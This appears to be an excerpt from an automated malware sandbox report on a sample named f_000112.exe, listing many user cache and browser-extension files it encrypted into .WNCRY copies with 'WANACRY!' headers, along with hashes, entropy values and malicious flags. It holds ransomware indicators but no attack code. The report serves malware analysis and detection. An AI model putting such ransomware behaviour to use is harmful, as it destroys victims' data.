                                                                                                                                                                              Entropy (8bit):7.998907280226183
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:F8nuQCf5vCdWSlFkX1zgfXHERU1TZ7eyU/YzFpfEk0+a0tsyrM9ozB66AVSs35q+:F8nurf5vC3ly6UUTZ7A8Ek0+a/yr0ozE
                                                                                                                                                                              MD5:E7585479B5FEB594B6F00236D5CBC08C
                                                                                                                                                                              SHA1:F27A02CFC2F26E69C39BA0888E6997943404D38C
                                                                                                                                                                              SHA-256:77CD10535B5EEA87F442D311F97F3AB715F6AEA2AEEA603AA37BE092AD63E0D7
                                                                                                                                                                              SHA-512:B778965755577B7E5D5160C7DDD1BFEEDCD1354B1A178DD3D1525A02E983DD72A31EF1299E33AD66FE54A4DF8FDE483D247EAA9536E857D489EC3904319F9D95
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....S&../.H.<1.3..v50......*..5.w....,....Ni[.|E'M8k.@<.....S...zV...AM.n..).p...AY.h\X..4Lx*......@6S....P@..e5..y.5.9U.D.u.7.e.l..L.1....;/U.B../...T.'..7w]...!".6....;W...4.....X...N.#J..".,......h.......8+W...S.b>..XS3o.6.#[...,...|.R.X...1#.".....................H.X..4.F.}C.T.F.dJ..x.O.[.]...|..0+L..4l.rMT..}.T.l@."V.@.ywU^...b"".+3r...`Z..eE....`.J.u..08...nT....t.$..G......]W-...v.yE~.3....T.u)$B.....1..!j#.G......R..vA..(i#..hP.*u.......uRxg9...W......2?B..T..4xp..xI..n.../7M...?.t..4.Y..H.Y".l)...Xx....=..u(..97....)D.g.@...*..!..P...M.*.8.....)...b..(........%&vZ..S=.C...hZ.T.N...._.u.^.....&...V.....}=...!:.R|......hQ-h..9w.t........}..."...GX}tL.+...N...t..\_....`.CJ.{.....Y/~#..(N.)..(;qIJ....*....m..D.E.df..{...g.k.......a...J.....8..j........K.Kk....cj."lst.a:.A7.~%..Z..g......Cc..&Z.B.yP.. n..)...........G...R..`&.~.}R..7O#.D.~.Q..!Q...`.=.[9.....l....+.......ep.....vz.PC\m.}..|%.J.s&.5....m.o..(p.8I.....].}..4....UH.j.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913551623871.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):115096
                                                                                                                                                                              Entropy (8bit):7.998335834431556
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:VH4YrrK7pG2otxxjLg8mZog52gZ8wcXoRo/nn7Z+a0YUl0ubHwUwVbydtlY2X:B5rO7WtnmZtUguw43zEa0YotLlwt47
                                                                                                                                                                              MD5:E970C677F1829086A3F61CF65DCAEB58
                                                                                                                                                                              SHA1:3672C12F37986F9FA2B37D29A4984EDCCD6BF82A
                                                                                                                                                                              SHA-256:8C159C1BD65B74B4D3646423497F4292871441F7B48B86DB4B720C3D07AF1455
                                                                                                                                                                              SHA-512:5D1774508DA6E478526508F627EEC477AB16B6D4AC269EA34F75E2ED314B9CD97DE646EB119DF328DBAE9A691694740410CA83829243073112A5B341F18B70D6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....{.......@..,...A.....N...X..D.yo...W.L(.../.......}S(..........4C...'.&.M.U...u......9../N.)....bo(...}.._....{y..@......D E.....7K............e.kO.....Q.."._utE.Q.v.. @..S...G.....6.(....^.e.....O..._..pp.....y.$.l...v.3.6.nQ......R.0.............~l...u........M.W,A.%L...|.Q.%...R~c..8c.W.....$j...U...~........)us..7m..*3#/....W.fN....F..{#.G..l.7?.$H3A+%v2.| ..&.I.-.4.G.a.#k.......w6L-.3..ps.>)M....Z"{2P.+.H.=t.f..]`Lb~e..:.C..$......Xh[=...,...}...<{r.......oJ^#/.Z..}..*<..9 ....B......w.G3v+.....c.sN.o..p__.x.p$...X..D.....rR|...*6=w.`C...1%<....i......X../}....~.J.....{JB.G.9.m......dx.2.....?u.Elz....c.h....|...x..5.....Qx-...O.\1........T.=.Z...O.U..q......%m...J..ei.1...!W.......Tz....!"W.._.*.,...J.=.D.g.k.>./.L..l4X......$..^...*ega..7BfPy].w{.*3..X.t..%eAJ.5Pk...r..i.X.-..SZXn.O.).....If#.$..u.....<....S.e.pt..n*C......@....)..,..v.~.s..;_....8YW..X.z.D.j...9.O.7.R..m/.........P.|W..%....\........E?Q.Z.7c...r5.L..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913644287936.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):115096
                                                                                                                                                                              Entropy (8bit):7.998271509815682
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:DBTfT6QJ/EQN7+TEq3rDDghKjhLHLWhziRrGnwkyquMblrDX89CtLkl4jwlVtVty:FJcw7+TlxJGnjXjM9ALilCGg
                                                                                                                                                                              MD5:2F58C85EDEA9E571B880EF7937785785
                                                                                                                                                                              SHA1:76B42A9EFDC3F5B33CA831D1171C1B5F6948E7C5
                                                                                                                                                                              SHA-256:827239426F71E5E1EB215D28241079042CE0873626F1C9D642FBF9857971856F
                                                                                                                                                                              SHA-512:F6BAEF1085432235047A7E3D4754B747D8B96EEAFF4230283537E7D054718766650523EEC73ED97C18F4D5518EA610B3B2D3F3CA8A432F1C9F8E50B4EE6C959A
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....L+..N....*bz.=.Rs-P......O.gi.I.iInP..\.Ik.8...U..G+....?T...7.h..:7.DK.U........?RB.....fr.(.;8..,..;.I./'.Y..P..=m..:U..>..6}6...5z..|.30@.I...ri........&..G*.I~...&........a...v...Q..;D....x"$6..Q..,......8....=.E.N...&..J.DhV.W.%.tt.q1{....................n.T.@M....I.pC.Y."a...cdzt..t.h.=.e..X0/f.c.`%^.r.CyKlO........#.:..?...F.rB...&\.&.$.p..g........?...........gJ.]..g...c..I.9..Q.s.........,.w1...}..2.\"..&!.....>l,.x.:..F..a.^.-.Qs.8..e{.|.h.q.........x..l+...bP.....Ne+.T....z. ..:.|3...s..\.v.....]6*g$k....4 .l.X.l.uc....qJ.....7.P."O...[.p)..(.F.......O...#T.9.o.k..8./...'..H..[.V....[.....gy......p/...C.C$`...P...4..op4.3B.1.....\B.[..f.N..* .....b.q.U.fmc*j...............'qL@!E>."Q..'.c..F...B.......{.C.J.n.k'YF...cI.4r....<...4w..>.t...K,D...C..R0@....;.x...x.q....[..V..=.1-x........b.1..=...@...~.!.jT........G....y.D....#a\-....b..<.{C ..F..RY..n..0hj/....)..F$._.".........w....X\.4Q...5K.p...j{../...:3..v...&......b.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687199480522568.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):114280
                                                                                                                                                                              Entropy (8bit):7.998353808644678
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:QGy3A+gJ47tsJ2sb/OD/BwvqxOtOMZQNgNP7XnyDS9:wHgiy/2wv2M2Mse
                                                                                                                                                                              MD5:2434ACDA9BC6738458892227D24F64D0
                                                                                                                                                                              SHA1:FC47248BB3EE589CAF84E6B32CF011339EEF78C4
                                                                                                                                                                              SHA-256:40F9B172B0FC0511B4114821D71A95EA3D411C250997E60355E0B186AA54239D
                                                                                                                                                                              SHA-512:6C46B582D5242BFAE898C02F6F180722C68A3CA983CA706036AED3E76A4E0608C164D77C4C28CC68CF5D42C82B3BE45885D34110296A8B8DC4A17620E7EAEAC6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....~.....M...R..[.&T.z......)/8te.N../..f.C>..d.5.(.3....V.....`.s9...p./_.L(..8d&...p..v.....:3.......5..../J..!Se.@$.$..............hR;q12."..:y.......M....<....)....*.O.....VM...GOO...3.M.......%.D2.Qu.(.t..B(..G.g......9TS....f..$l...vR....w....E........QU/[`W.0....]5....{..*.Wg:[.Q{.Y+..<_..y........w.s....6.......J..M.Gs6[..B......M.k%RVL..r.S.X.!......}.X....$Pl.&...1.k..F.%....3.).|..i...d9$p...?W.%A....o..Z+..'/A...JX..Z6.6...6L..2o.u.).`...#....].....j.6.h.a../.9|..G*M.?).U.{=..x..5E..3...=..$R..5.1.....I(!j...,.&||.."..........Ve....^.....*.....I..Bk.{y!W.E.s.....\.....6.m..h....Ls...O...5..%..j^........^."9.<0....p..Y..9..j...d..'.Z..t.M...F..L. g.i......tXO Gcx.g... ..g..4.H).=b2H78.d3A)....bZ.7..q.....G...iF\>u......../...Y*N.j...S....i...<........b(....-..@..Z... \[{.i>....<.9....pk..O.^2..\..k.#.w..r`.\.......2u{..f.B.l....*.R.N.,+..5.=.......J.......?......c..tA.9.......&....]:R.9Ez.dI.m2...*.......`.0.F..)4..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687199780329628.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):115080
                                                                                                                                                                              Entropy (8bit):7.998103508105335
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:SXSYLbu0XKGJD+n2RuRJ09oS/jw89Vr/zn2yr8/+:SCYLbu0XELTY0SRT2yr0+
                                                                                                                                                                              MD5:16C32029EBE58C5F3B2CF161316E526F
                                                                                                                                                                              SHA1:68531B20F1E2EB0080CE7B23F942BBB962CF3F32
                                                                                                                                                                              SHA-256:ABA1A2FFC44968CE8981DC091F9291728094D4387322E8655EF0D0797FCB183F
                                                                                                                                                                              SHA-512:D84A4EAC834E1E513E9955FF34FEA3AE4B6B423E3DCC6D215F3E46CE2BDC0C78ACCDC07FB6771C5649933FD3295712C11F0B29D7E0666FEEC30EC67A95625B90
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Y.r......(N.....Z..S.A.F.....D..J...3r`..^&.S.7...(...%Q..V,I..E...`{U.f.&...s...pY.s...?m.ZD..To..i..A?a....Ps#..P.z..-T.nr.?.tsN2..(dv..bF...i.Yl...2.pB.?t..{....."2..g'.`D..q..j.............%B..Lb....$...0.t.......%Vy..6.-.a ]..b....=L.....a.............;"..Nq)..x..sZ.....?S..I....A.@9.&1.h...lS.........r@.....C.e.z.`..as..l&....Z...m.m...^":O.....h......F...6.aocj..`....\.YT....".f7SlRAW.w.&N.q$.......0c.+....l*Ho..+.,=f'....I......-3.........g.4.......".uMr!.H!.8.O.].Q.-p.....}3.....&....j.n.v...;+.$...7...v(.....r../...e..y......ru)rP.[am....*..(.Tb............R'.s.Uq=Ap..:[8..$...7.$...Y..L..KEw....;...A<7U.....".*B..&..M.'.}M/..b5.\.....\qT....R.....o.wpZ..{..[W.I.....#.9..;...?G!.V..lH.C.:.\...z...^.o. ,.0%.F.&...1...P..2.cB]Qa..l.T}.....:.s..#._Y6.e'.).EmT..zxM..M..p|..}.J@..(Y.I.#..+.W...$.c.... .w|2.../$}q..h.d..U..Tw.R.=.e>FN...y...Cn.z...)&."....(..@...............c.b.....i..P...{.).......I......JE.'...P..6.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_close.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):536
                                                                                                                                                                              Entropy (8bit):7.559807943869885
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEnzajy5DHGLN/i4pec/GHnM2kRLP2a+lOtzA:bkKzHYN/iwVRLP21lOxA
                                                                                                                                                                              MD5:F3FE794FE30EEA3A9521F3FB57D96B65
                                                                                                                                                                              SHA1:16AF994EA3DD1DD1764C15256672E9FB9FDB58DD
                                                                                                                                                                              SHA-256:1FC8C5990B4BD72B8EECE04763D0126FFDAA502A014AC4E6F1B0BC588E3C8337
                                                                                                                                                                              SHA-512:2EB79B85427D5509943A10300DB8E672D365FE3E80A71FC254950C60D7CFB971860D22A10883055CCEE8E0DB919F5FD943ED42B0E32EE75683DB796D661D7662
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....3.,tv.bZW......4{...}...@....r.u..-...d%?.)...A.....d....J._.i.....}.&.....~M...<..N./.B.{i..I.......N.+5S..G.L)...0g.J.+.....K........*<...j....*.[...`....^.)..VXB.[...,..l.....8'.^..n..3(y..R....B.Gv......u...l'R.%.ok....t+.L.s.b..........C............^..V;4GJ....%.Q.b....2iY...9.O.8~..C..-..8:..YSf....n.N|c....$|A...n...Q>.2......#....."....B~3..{.J.......<!x.1it...j.vv.Z...D..7....Z...2. t=..{.....&B>R.wU.~.rsQ9.=Z ......7.b.#...QD..n.U.$..).s....J\..lc.>.....=........>....1..>....x....n%

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_hover.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):440
                                                                                                                                                                              Entropy (8bit):7.448613123763072
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkE8zNdBjIhrSOOo0XdfDlS0V8UyZD97B8P:bkddBjmrShJtfRxV85BS
                                                                                                                                                                              MD5:041BAD27E3F5CE6EF5749C1F0B6DA299
                                                                                                                                                                              SHA1:0AA0FF7F530229B5AC54A9AA2DB6CC6F82AF4DC7
                                                                                                                                                                              SHA-256:D183C3F3D6A9D4F78803BCF5439B9FEC1C9CD7AB2E491089892CCC5C9092554E
                                                                                                                                                                              SHA-512:FA1B93E2459485C147FEBA1EA09A0A762089EE2974C7A081A64DD9174D64771CF8F7B04991B12A2411167FC618448AC5F36BA8E9C8698D227C36774BABBA20DB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....d6T.0...N.:$....#.....]..P....<.rcocB..o...s....u.}........y...^.!>.............[...`...... ..".jT..6B................v.....W.....!.wM\.z-....?3wjn....@......Z.w..%p...cb.............v#..).m<me.g3B.....c.9*.y.l2...K..5........M=..1........nO............d..eY....w|j:'...".... .........Hh...+/.6..........x............BZ...&E)...9...d...+.Z5$..P/...Zy7>.Y...^..#.0.........E.,M.~........*.....\.N\&x.}....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_maximize.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):456
                                                                                                                                                                              Entropy (8bit):7.397177276622808
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkE2nIl7x2yzrViHNhgE0V03oaDq/lOyYFK6XotIR:bk6l23Hge3o8oOStq
                                                                                                                                                                              MD5:ED4AC3C7591534071B4F104C281B5E2E
                                                                                                                                                                              SHA1:5322D1063A3A291D90FCC07F01264ECD9D99FCF8
                                                                                                                                                                              SHA-256:521791F5D0BA07A8F55A2B0607290EC961EA0C4679785A9F41BFC6B1B1AA9673
                                                                                                                                                                              SHA-512:B555C3B4169FE5F14BDB85B26C9C9BFF343AA75BBEC607EA34EFDAD965E1251B64F5A42F74A226B30A475AA3B9E286ADA3FFA68B7FFE92D1AF64F7B2E4ECF656
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........i.m.1..a..-.e..d.....aAw;r...X.y...Lf.>..............~.O.8.6Ez...lP..8.....~L.....Q...k..(....J.e3.....S..gD..1rc...BF..$.7 T@.1..?............@#EQ...P.Tb...h.Oy?1.^@ .;...1.*...r...nw`..)h..@..VJ.A>.....g.W... $...g.Rr..S>.....%(.'....P....[.@..............?79.U.Q....S......].@.gs..<..i...4.2.g.~*NC....w..?.....B{..U.....X.2t..%..Q.o+....'..wdB._..O.6.S4wC.<@.....lfn...0.......k.;N.JF6..uD.).O......[...#.l&..h7....h

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_pressed.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):440
                                                                                                                                                                              Entropy (8bit):7.441729822936865
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEhN8mn0HGXoTaHtKukAUTjGu4/RSYzch60Th:bkjM0Hb+NKuk/TC/It6Ah
                                                                                                                                                                              MD5:123D3B933D3D34CCB79FD634966AC44F
                                                                                                                                                                              SHA1:D8E44DE76B181A0B8A7D47E4B60AC74A8562D58B
                                                                                                                                                                              SHA-256:8A616414945812CF798096988015E7EDC2FDE9BB0915D8FEEEEDA9ECA4F29A11
                                                                                                                                                                              SHA-512:B3898CE222419990AD75A791C2BE45356A55F44A36EABEFEBA68E3E6C9138820FA68770F0B50270634D878F47808D682F0DD1DDB5FC4A029C8402ABA5AB8081E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....... .K.m=..L<...'..o.J+..z?-f.....;..S/yb......=.2...N.y.....2.}.uv..Vsz....v(.'..0.2....gU..K.Yh.=.o.p...VI.GNg......7...|.eb.{.._S.+\..P........I..m..|T.$....)...t}....#u.@...;.\...z.09?.../9..T....3)(^|1k..4{T.X.Y....w.|.w.......A...u..>..............;o.0.r....P/0,..}60.&...b..e.....#.A`..cc...`.1.N~.../.|..=F.....Y.K..n....$.....So....5.4.e!.Q.Vy.&{n......%L...+.3.....,Y....X.}a.....0.p.#P...KV.aE..e.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-fluent~left-nav-rc.ac5cfbeadfd63fc27ffd.chunk.v7[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):13176
                                                                                                                                                                              Entropy (8bit):7.9844498010219915
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:re2N9Ce92wSWNWaNjx2pwMKx3J/tikYvYD:7NN2wrWaNQl21wkYvK
                                                                                                                                                                              MD5:7A10503F26DBD6AA1A676E92663DAEEF
                                                                                                                                                                              SHA1:6FAC9572F3D0159892B9CF3C3D413C53640CC04C
                                                                                                                                                                              SHA-256:EDBB6CF6B01F35243AD6BC8EB8D789C831460BAB672A944B554509A9136F5FCC
                                                                                                                                                                              SHA-512:2C439C66D43C08DE78D84943F772AF405719336E505CBE17B944A271B961CD20E296DEFB3B29F2809DEA30ADC98598D8C2CE82D5076AA95CD9E0F40A3323096D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!............<..A...\.t.x........[N..>..md...2P..".h.b.^.)..., \I.....Q...@.._3J..w.......eU...~...._v...]...isp......8=.J...L.2.;f.f'u'5..tGgl..P.9...2V.AEX.\k.-..9.=.....:.r.!..AC-.iV.J..=.].Zl........?.....%iBV....\....M....=.H....|.n.w.;e5....^2......H.q...-F..0..XX..p..e.pq_..*..}.m..B.l...J.+{O..STi.K..L{I..5........S....q'.|AY.w#).*..).L....f32...g...V.....!./.......1M....]A....3.......S`:....-..h...v..A.|f6.._..a..BC.....B......J{..2Q...."d.F$&OC..........r..I.S..OJ.F...:.O.s..F:Y..<..n#.g..G..5,.....K..P4#.2..m...(.+.W9.P?9.:J..G..gx..7.[rY./$../.........s....}.R.W......*.~.....D.2....N@u...$8N.P...M...&..|G......t.9...`.(...{O... ...~a..3.8....f>......i,B.0B=.].T1..?F...c..l...R.R....8.N...u.$Z5.r.. a........7..v.'1S.(N~.#.g1.B.^..|3[.'aZG.DQ..zC.J..p$C.>"6]...E./..........[i.+..Y.RGE...s..z....J.4`.....n.l.>>.k.rt.[...aJ<..A,.'.T..j....-T..'|...\sn.r...T...../.zp/#<M$.5.)_....=.^....kT........"b8.w..a.....-....E

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):36264
                                                                                                                                                                              Entropy (8bit):7.994795075969843
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:wCNeSnx/zJz+6OZ95dmMhkv4Kkg7YWE4SgPqd7uH:VndzJzyneNg4SGqxc
                                                                                                                                                                              MD5:FFD285DE1E8DD96A47E9BA58DC5CD5FB
                                                                                                                                                                              SHA1:71567B4CBF0A9BF07E0B945FE80E8888DB528109
                                                                                                                                                                              SHA-256:2117CACFA7AC4D7EF50371E0AEEEB031FCC8B87C57191AA6BA28BE85D6F6FCF4
                                                                                                                                                                              SHA-512:17F20C921973A2C08AB86BAD2F3A1630166151E5520846F9598003DB500C80D56DC62B1CB70B18866EBC3B869A585D48678AA16252D0F83827F3C0CA1E15693B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Yk..U].!...M.<..,1+.E.xo.......O..c.....69...+.y@Z.f......GY.y$f3....s&....\.!{n..8..-...s.?.q....}.CR.h.A.w.l..........oLB..d..n/...Ug.wlI..C.z.T../.T8..F=...T...I{.C...i*w.L..hAUU.3...e....!/....^.Y.i..MJH.uD..?.~".G....}0..9?..e..-.F.u....e ..r.............P...)..RF.6..~.t.+.I....B/.....]..At.J..v...C.....&...$Z....y..|W.W..O.9........F.<.....}G.x..`........$Wj=...6.%...?*YVz!..0{^J..0n.1.B:..g...P@...XG..k...8Y`#v4..cfk./.[....".g..\......9..?.}u7A...Ox..x.*......r....A.X..B..F.0.....p.".f.. .........f.v...BUh..2.m..?.I..&,.k.M&5.n{\q.Doa.#x..Z.H#..N...Z.4.53.......%*.(..w.h.9A..u>+....g[.M...u?..h.#V+....(..7..\j....._G...-....y.(..s..G .G.E.3E5o..ysn.S...s...h...v)8..3.}...J...s....ie[&K...qr..A<tC.*2.......QN*.AmQ..T..............Z4\.....6...F.-PQ...;.3.?U.v.k,9....-.......~..5/0......fK.{.5f...?......>ScU..%..`...P...!.p.n:ra..:.s..../.....l.#..w%.}(.A*s.".3|..H....q.C..l#..P.13.q...O....ucj..j}..{.....jX\.C...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):21048
                                                                                                                                                                              Entropy (8bit):7.990205728966862
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:11bOIkGTIvbOwsBwImAtjBpG1yBJdAGzzI1rxQqNiLv2zm/q+frVGYo:rbpLTonsBwst3nLjI1qqILv2CS+f5GYo
                                                                                                                                                                              MD5:F58E33938CED7E7D7F081C631B5EDBFC
                                                                                                                                                                              SHA1:9E87E13041294DE178EB3FF5CC46182B4793A0D8
                                                                                                                                                                              SHA-256:07F624587F26106607A82D42933D84C2E504FAF851904D080F39510FFC2AE90C
                                                                                                                                                                              SHA-512:D91DC0820A67DA7465718AB303601F583D61096E237929F87299EF6551A9455201831B31D1E344905FE68E9E5ABF3897559A9599097CF0505CDFA5394974AD58
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....W..j.>...k.LLS..ad..H.:~YJ?..w..._..5.IN....UL2.W#gQ.....-?...Yef....L....<._........T.w.=.+S.........=.j1s...G .:..#sO^i!.PxiJ.....p....inxI...T...uQ...(<..-(..~)9*.-#....7r`G...(.M.....x......W....zF....B...p..........&......}i`}..|E....+D.....Q.......8....$.......}.........7......!..j....EzH...u...|~.h..(..*4.7..........D....U.F.y.}p...RMvMm...Ny.U{...).-D.0..(EQG....,.NE....9.`t.S...GF.l...L8...?..Xe..Q......T.:E.0<.... ....`.^J.....e2...O..L./.#.lP2)..o.....6i..s....".W.........$5...m..R......<.).K."j.i.QL..e......t..Ydr.9.%I....>..ux.r.....X'...a..eZ...s^.....?..K...wqv.U.&.)y..9...6........5U.}.....Z.z...*..1.....}......8.P_..A.;~.....^.*.yy-.@Me.......Q...]|@...+#...L.A.#..6.O...z.C...yVC./g....`f..@.%.. ....|Q...........J&./.[MeHP{|..}D1G.......F\.Q.)...U...r-%......W.nN.6..../.D..d]....>B...{....My2..\.dE.....^#y..6.z..~..r....A.+.43.2.Z ...} 5....t.F9.7..7p,A...R.z.jM...Z.[.../..$^{........n3.L\....o..@..."7O_..y.....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsconversions.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1426184
                                                                                                                                                                              Entropy (8bit):7.999878137475947
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:EtX0fzOie/N1t4jFtb0Zj5LeZd9OgR4jpMD/Om7s85TM+qu4O0nCMC:+oqR/GjfbEiQguj+D/3Ti+ahM
                                                                                                                                                                              MD5:04BF4F7BC81B08617FD85C727B249546
                                                                                                                                                                              SHA1:7A57EB525B0ECC47C9C191D28C07AA6AC5E72BC9
                                                                                                                                                                              SHA-256:E52494B159B6FBE003552076B1BF837DE71654EACCBC147EAEBFAF5B0FE34BAD
                                                                                                                                                                              SHA-512:4B569142C5446CF81EA6F4E299A2DA40C3494CE94C2D0D29C77D54616DE3D90D174798943449C04304F9E6AAD18398841B7BAE195CCA361D6567F196249715ED
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
